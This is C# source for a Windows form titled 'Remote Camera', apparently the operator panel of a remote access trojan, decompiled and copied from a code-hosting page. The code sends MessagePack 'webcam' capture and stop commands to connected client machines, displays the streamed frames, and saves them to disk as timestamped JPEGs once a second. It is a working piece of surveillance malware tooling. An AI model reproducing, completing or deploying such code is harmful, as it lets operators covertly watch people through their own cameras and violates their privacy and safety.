324 lines
12 KiB
C#
324 lines
12 KiB
C#
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using DevExpress.Utils;
|
|
using DevExpress.Utils.Svg;
|
|
using DevExpress.XtraEditors;
|
|
using DevExpress.XtraEditors.Controls;
|
|
using DevExpress.XtraTab;
|
|
using MessagePackLib.MessagePack;
|
|
using Server.Connection;
|
|
|
|
namespace Server.Forms;
|
|
|
|
public class FormWebcam : XtraForm
|
|
{
|
|
public Stopwatch sw = Stopwatch.StartNew();
|
|
|
|
public int FPS;
|
|
|
|
public bool SaveIt;
|
|
|
|
private IContainer components;
|
|
|
|
public PictureBox pictureBox1;
|
|
|
|
public System.Windows.Forms.Timer timer1;
|
|
|
|
private System.Windows.Forms.Timer timerSave;
|
|
|
|
public Label labelWait;
|
|
|
|
private Label label1;
|
|
|
|
public SpinEdit numericUpDown1;
|
|
|
|
public ComboBoxEdit comboBox1;
|
|
|
|
public SimpleButton button1;
|
|
|
|
public SimpleButton btnSave;
|
|
|
|
private PanelControl panelControl1;
|
|
|
|
private XtraTabControl xtraTabControl2;
|
|
|
|
private XtraTabPage xtraTabPage2;
|
|
|
|
public FormMain F { get; set; }
|
|
|
|
internal Clients Client { get; set; }
|
|
|
|
internal Clients ParentClient { get; set; }
|
|
|
|
public string FullPath { get; set; }
|
|
|
|
public Image GetImage { get; set; }
|
|
|
|
public FormWebcam()
|
|
{
|
|
InitializeComponent();
|
|
}
|
|
|
|
private void Button1_Click(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (button1.Tag == "play")
|
|
{
|
|
MsgPack msgPack = new MsgPack();
|
|
msgPack.ForcePathObject("Pac_ket").AsString = "webcam";
|
|
msgPack.ForcePathObject("Command").AsString = "capture";
|
|
msgPack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex;
|
|
msgPack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
|
|
button1.Tag = "stop";
|
|
numericUpDown1.Enabled = false;
|
|
comboBox1.Enabled = false;
|
|
btnSave.Enabled = true;
|
|
}
|
|
else
|
|
{
|
|
button1.Tag = "play";
|
|
MsgPack msgPack2 = new MsgPack();
|
|
msgPack2.ForcePathObject("Pac_ket").AsString = "webcam";
|
|
msgPack2.ForcePathObject("Command").AsString = "stop";
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
|
|
numericUpDown1.Enabled = true;
|
|
comboBox1.Enabled = true;
|
|
btnSave.Enabled = false;
|
|
timerSave.Stop();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void Timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected)
|
|
{
|
|
timer1.Stop();
|
|
Close();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Close();
|
|
}
|
|
}
|
|
|
|
private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
ThreadPool.QueueUserWorkItem(delegate
|
|
{
|
|
Client?.Disconnected();
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void BtnSave_Click(object sender, EventArgs e)
|
|
{
|
|
if (button1.Tag != "stop")
|
|
{
|
|
return;
|
|
}
|
|
if (SaveIt)
|
|
{
|
|
SaveIt = false;
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
if (!Directory.Exists(FullPath))
|
|
{
|
|
Directory.CreateDirectory(FullPath);
|
|
}
|
|
Process.Start(FullPath);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
SaveIt = true;
|
|
}
|
|
|
|
private void TimerSave_Tick(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (!Directory.Exists(FullPath))
|
|
{
|
|
Directory.CreateDirectory(FullPath);
|
|
}
|
|
pictureBox1.Image.Save(FullPath + "\\IMG_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".jpeg", ImageFormat.Jpeg);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private void FormWebcam_Load(object sender, EventArgs e)
|
|
{
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && components != null)
|
|
{
|
|
components.Dispose();
|
|
}
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = new System.ComponentModel.Container();
|
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormWebcam));
|
|
this.btnSave = new DevExpress.XtraEditors.SimpleButton();
|
|
this.button1 = new DevExpress.XtraEditors.SimpleButton();
|
|
this.comboBox1 = new DevExpress.XtraEditors.ComboBoxEdit();
|
|
this.numericUpDown1 = new DevExpress.XtraEditors.SpinEdit();
|
|
this.label1 = new System.Windows.Forms.Label();
|
|
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
|
this.timerSave = new System.Windows.Forms.Timer(this.components);
|
|
this.labelWait = new System.Windows.Forms.Label();
|
|
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
|
|
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
|
|
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
|
|
((System.ComponentModel.ISupportInitialize)this.comboBox1.Properties).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
|
|
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
|
|
this.panelControl1.SuspendLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
|
|
this.xtraTabControl2.SuspendLayout();
|
|
this.xtraTabPage2.SuspendLayout();
|
|
base.SuspendLayout();
|
|
this.btnSave.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("btnSave.ImageOptions.Image");
|
|
this.btnSave.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
|
|
this.btnSave.ImageOptions.SvgImageColorizationMode = DevExpress.Utils.SvgImageColorizationMode.CommonPalette;
|
|
this.btnSave.ImageOptions.SvgImageSize = new System.Drawing.Size(25, 25);
|
|
this.btnSave.Location = new System.Drawing.Point(323, 4);
|
|
this.btnSave.Name = "btnSave";
|
|
this.btnSave.Size = new System.Drawing.Size(30, 30);
|
|
this.btnSave.TabIndex = 123;
|
|
this.btnSave.Text = "OK";
|
|
this.btnSave.Click += new System.EventHandler(BtnSave_Click);
|
|
this.button1.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
|
|
this.button1.ImageOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("button1.ImageOptions.SvgImage");
|
|
this.button1.ImageOptions.SvgImageColorizationMode = DevExpress.Utils.SvgImageColorizationMode.CommonPalette;
|
|
this.button1.ImageOptions.SvgImageSize = new System.Drawing.Size(25, 25);
|
|
this.button1.Location = new System.Drawing.Point(274, 4);
|
|
this.button1.Name = "button1";
|
|
this.button1.Size = new System.Drawing.Size(30, 30);
|
|
this.button1.TabIndex = 122;
|
|
this.button1.Text = "OK";
|
|
this.button1.Click += new System.EventHandler(Button1_Click);
|
|
this.comboBox1.Location = new System.Drawing.Point(106, 4);
|
|
this.comboBox1.Name = "comboBox1";
|
|
this.comboBox1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
|
|
{
|
|
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
|
|
});
|
|
this.comboBox1.Size = new System.Drawing.Size(149, 30);
|
|
this.comboBox1.TabIndex = 9;
|
|
this.numericUpDown1.EditValue = new decimal(new int[4] { 50, 0, 0, 0 });
|
|
this.numericUpDown1.Location = new System.Drawing.Point(43, 4);
|
|
this.numericUpDown1.Name = "numericUpDown1";
|
|
this.numericUpDown1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
|
|
{
|
|
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
|
|
});
|
|
this.numericUpDown1.Size = new System.Drawing.Size(57, 30);
|
|
this.numericUpDown1.TabIndex = 7;
|
|
this.label1.AutoSize = true;
|
|
this.label1.Location = new System.Drawing.Point(4, 11);
|
|
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
|
this.label1.Name = "label1";
|
|
this.label1.Size = new System.Drawing.Size(35, 16);
|
|
this.label1.TabIndex = 8;
|
|
this.label1.Text = "FPS:";
|
|
this.pictureBox1.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
|
|
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
|
|
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2);
|
|
this.pictureBox1.Name = "pictureBox1";
|
|
this.pictureBox1.Size = new System.Drawing.Size(615, 409);
|
|
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
|
this.pictureBox1.TabIndex = 5;
|
|
this.pictureBox1.TabStop = false;
|
|
this.timer1.Interval = 1000;
|
|
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
|
|
this.timerSave.Interval = 1000;
|
|
this.timerSave.Tick += new System.EventHandler(TimerSave_Tick);
|
|
this.labelWait.AutoSize = true;
|
|
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
|
|
this.labelWait.Location = new System.Drawing.Point(221, 188);
|
|
this.labelWait.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
|
this.labelWait.Name = "labelWait";
|
|
this.labelWait.Size = new System.Drawing.Size(101, 20);
|
|
this.labelWait.TabIndex = 6;
|
|
this.labelWait.Text = "Please wait...";
|
|
this.panelControl1.Controls.Add(this.btnSave);
|
|
this.panelControl1.Controls.Add(this.label1);
|
|
this.panelControl1.Controls.Add(this.button1);
|
|
this.panelControl1.Controls.Add(this.numericUpDown1);
|
|
this.panelControl1.Controls.Add(this.comboBox1);
|
|
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Top;
|
|
this.panelControl1.Location = new System.Drawing.Point(0, 0);
|
|
this.panelControl1.Name = "panelControl1";
|
|
this.panelControl1.Size = new System.Drawing.Size(615, 38);
|
|
this.panelControl1.TabIndex = 7;
|
|
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
|
|
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
|
|
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
|
|
this.xtraTabControl2.Name = "xtraTabControl2";
|
|
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
|
|
this.xtraTabControl2.Size = new System.Drawing.Size(617, 440);
|
|
this.xtraTabControl2.TabIndex = 11;
|
|
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
|
|
this.xtraTabPage2.Controls.Add(this.panelControl1);
|
|
this.xtraTabPage2.Controls.Add(this.labelWait);
|
|
this.xtraTabPage2.Controls.Add(this.pictureBox1);
|
|
this.xtraTabPage2.Name = "xtraTabPage2";
|
|
this.xtraTabPage2.Size = new System.Drawing.Size(615, 409);
|
|
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
|
|
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
|
base.ClientSize = new System.Drawing.Size(617, 440);
|
|
base.Controls.Add(this.xtraTabControl2);
|
|
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormWebcam.IconOptions.Icon");
|
|
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormWebcam.IconOptions.Image");
|
|
base.Margin = new System.Windows.Forms.Padding(2);
|
|
base.Name = "FormWebcam";
|
|
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
|
this.Text = "Remote Camera";
|
|
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormWebcam_FormClosed);
|
|
base.Load += new System.EventHandler(FormWebcam_Load);
|
|
((System.ComponentModel.ISupportInitialize)this.comboBox1.Properties).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
|
|
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
|
|
this.panelControl1.ResumeLayout(false);
|
|
this.panelControl1.PerformLayout();
|
|
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
|
|
this.xtraTabControl2.ResumeLayout(false);
|
|
this.xtraTabPage2.ResumeLayout(false);
|
|
this.xtraTabPage2.PerformLayout();
|
|
base.ResumeLayout(false);
|
|
}
|
|
}
|